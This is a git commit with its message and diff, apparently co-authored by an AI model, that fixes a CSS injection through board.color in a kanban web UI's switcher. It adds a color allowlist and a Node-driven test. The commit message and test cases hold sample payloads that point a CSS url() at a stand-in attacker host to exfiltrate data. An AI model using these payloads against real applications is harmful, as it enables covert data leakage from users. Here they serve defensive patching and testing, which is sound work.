fix(kanban): block CSS injection via board.color into switcher style

`_renderKanbanBoardMenu` interpolates `b.color` into a `style=""`
attribute through `esc()`:

    const colorStyle = b.color ? `color:${esc(b.color)}` : '';
    return `<button ...><span ... style="${colorStyle}">...`;

`esc()` HTML-escapes (`<`, `>`, `&`, `"`, `'`) which prevents breaking
out of the `style=""` attribute, but does NOT prevent CSS-context
injection inside it. Neither this bridge nor the agent's
`hermes_cli.kanban_db.write_board_metadata` validates `color`, so an
authenticated WebUI user (or anyone writing through the CLI / agent
dashboard) can set:

    "color": "red;background:url('http://attacker.example/exfil')"

…and the malicious URL will be fetched whenever any user opens the
board switcher. Verified with a Node harness against the actual
unmodified renderer:

    INPUT:   "red;background:url('http://attacker.example/exfil')"
    OUTPUT:  <span ... style="color:red;background:url(&#39;http://attacker.example/exfil&#39;)">

The single-quote escaping doesn't help — `url(http://x)` works without
quotes — and CSS gives the attacker a useful exfil/probe primitive
(`background-image:url(...)`, `font-family: url(...)`, `@import`).

Frontend-only fix: validate `color` against an allowlist of CSS hex
codes (`#rgb`/`#rrggbb`/`#rrggbbaa`) and short alpha-only color names
(`red`, `blue`, ...) before interpolating. Anything else collapses to
the empty string so the renderer drops the `color:` rule entirely. The
agent dashboard plugin doesn't render board.color today, so this match
intentionally diverges (stricter) from the cross-tool contract — boards
written by the agent CLI with `rgb(...)` / `hsl(...)` colors will just
render uncoloured here, never break.

Server-side validation is intentionally not added in this fix:
- The agent CLI accepts arbitrary `color` strings, so any server-side
  rejection here would diverge from the cross-tool contract for inputs
  that are well-formed-but-unusual (e.g. `rgb(255,0,0)`).
- The renderer is the trust boundary that actually matters — color
  values written by other surfaces (CLI, gateway) flow through the
  same bridge and now get safely degraded at render time.

Behavioural harness: 17/17 cases pass (named colors, hex codes accepted;
all CSS-injection shapes including `expression(alert(1))`, `;background:`,
`url(...)`, malformed hex collapse to '').

Tests:
- Added test_kanban_board_color_is_validated_against_css_injection
  which drives the helper through Node and asserts both renderer-level
  invariants (helper called, raw `esc(b.color)` interpolation removed).
- 64/64 pass in tests/test_kanban_bridge.py + tests/test_kanban_ui_static.py
- Full suite: 4297 passed, 57 skipped, 0 failed.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

static/panels.js

@@ -1619,6 +1619,20 @@ async function loadKanbanBoards(){
   _renderKanbanBoardMenu(boards, active);
 }
 
+// Restrict board.color to CSS hex codes or simple named colors before
+// interpolating into a `style=""` attribute. esc() HTML-escapes but
+// does not block CSS-context injection (`color:red;background:url(...)`
+// would otherwise exfiltrate page state via an attacker-controlled URL,
+// since neither this bridge nor the agent's kanban_db validates color).
+function _kanbanSafeColor(c){
+  if (typeof c !== 'string') return '';
+  const s = c.trim();
+  if (!s) return '';
+  if (/^#[0-9a-fA-F]{3,8}$/.test(s)) return s;
+  if (/^[a-zA-Z]{3,32}$/.test(s)) return s;
+  return '';
+}
+
 function _renderKanbanBoardMenu(boards, current){
   const menu = document.getElementById('kanbanBoardSwitcherMenu');
   if (!menu) return;
@@ -1626,7 +1640,8 @@ function _renderKanbanBoardMenu(boards, current){
     const isCurrent = b.slug === current;
     const total = (b.total != null) ? b.total : (b.counts ? Object.values(b.counts).reduce((a,c)=>a+Number(c||0),0) : 0);
     const icon = b.icon ? esc(b.icon) : '';
-    const colorStyle = b.color ? `color:${esc(b.color)}` : '';
+    const safeColor = _kanbanSafeColor(b.color);
+    const colorStyle = safeColor ? `color:${safeColor}` : '';
     return `<button type="button" class="kanban-board-switcher-item ${isCurrent ? 'is-current' : ''}" role="menuitem" data-board-slug="${esc(b.slug)}" onclick="switchKanbanBoard('${esc(b.slug)}')">
       <span class="kanban-board-switcher-item-icon" style="${colorStyle}">${icon || (isCurrent ? '✓' : '')}</span>
       <span class="kanban-board-switcher-item-name">${esc(b.name || b.slug)}</span>

tests/test_kanban_ui_static.py

@@ -463,3 +463,58 @@ def test_kanban_sse_refresh_is_debounced():
     assert "_kanbanRefreshScheduled" in PANELS
     # 250ms debounce window
     assert "}, 250)" in PANELS
+
+
+def test_kanban_board_color_is_validated_against_css_injection():
+    """`board.color` is interpolated into a `style=""` attribute on the
+    switcher icon. esc() escapes HTML but does NOT prevent CSS-context
+    injection: an attacker (with WebUI write access, or via the agent CLI
+    which doesn't validate either) could set color to
+    `red;background:url('http://attacker/exfil')` and have the malicious
+    URL fetched whenever any user opens the board switcher.
+
+    Drive the helper through Node and assert that named colors / hex
+    codes are accepted while every CSS-injection shape is rejected.
+    """
+    import json
+    import subprocess
+    script = """
+const fs = require('fs');
+const src = fs.readFileSync('static/panels.js', 'utf8');
+const start = src.indexOf('function _kanbanSafeColor');
+if (start < 0) { console.error('_kanbanSafeColor missing'); process.exit(2); }
+// Grab the function body up to and including the closing `}` line.
+const tail = src.slice(start);
+const end = tail.indexOf('\\n}\\n') + 2;
+const fn = tail.slice(0, end);
+const ctx = {};
+new Function('out', fn + '; out.fn = _kanbanSafeColor;')(ctx);
+const cases = [
+  ['#fff', '#fff'],
+  ['#3b82f6', '#3b82f6'],
+  ['red', 'red'],
+  ['Blue', 'Blue'],
+  // injection attempts must all collapse to '' so the renderer drops
+  // the `color:` rule entirely.
+  ["red;background:url('http://attacker/exfil')", ''],
+  ['red;background-image:url(http://x)', ''],
+  ['expression(alert(1))', ''],
+  ['#zzz', ''],
+  ['', ''],
+  [null, ''],
+  [undefined, ''],
+];
+const results = cases.map(([input, expected]) => ({
+  input, expected, actual: ctx.fn(input)
+}));
+console.log(JSON.stringify(results));
+"""
+    result = subprocess.run(["node", "-e", script], check=True, capture_output=True, text=True)
+    results = json.loads(result.stdout)
+    failures = [r for r in results if r["actual"] != r["expected"]]
+    assert not failures, f"_kanbanSafeColor mismatches: {failures}"
+
+    # The renderer must call the helper, not pass b.color through esc()
+    # directly into the style attribute.
+    assert "_kanbanSafeColor(b.color)" in PANELS
+    assert "color:${esc(b.color)}" not in PANELS